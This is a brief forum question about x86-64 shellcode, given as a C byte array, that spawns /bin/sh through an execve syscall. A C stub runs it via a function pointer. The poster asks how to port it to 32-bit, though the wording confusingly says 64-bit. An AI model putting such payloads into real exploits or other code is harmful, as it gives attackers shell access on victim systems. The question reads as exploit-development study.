I have this shellcode that only runs on 64 bit machine:
unsigned char shellcode[] = \
\xeb\x1f\x48\x31\xc0\x5b\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x43\x10\x6a\x3b\x58\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x10\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x62\x62\x62\x62
If I run this on 32-bit machine it will of course get seg fault. How do I make it compatible for 64-bit machine?
FYI here is the C code to run the shellcode above (it works perfectly on 64-bit machine):
main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}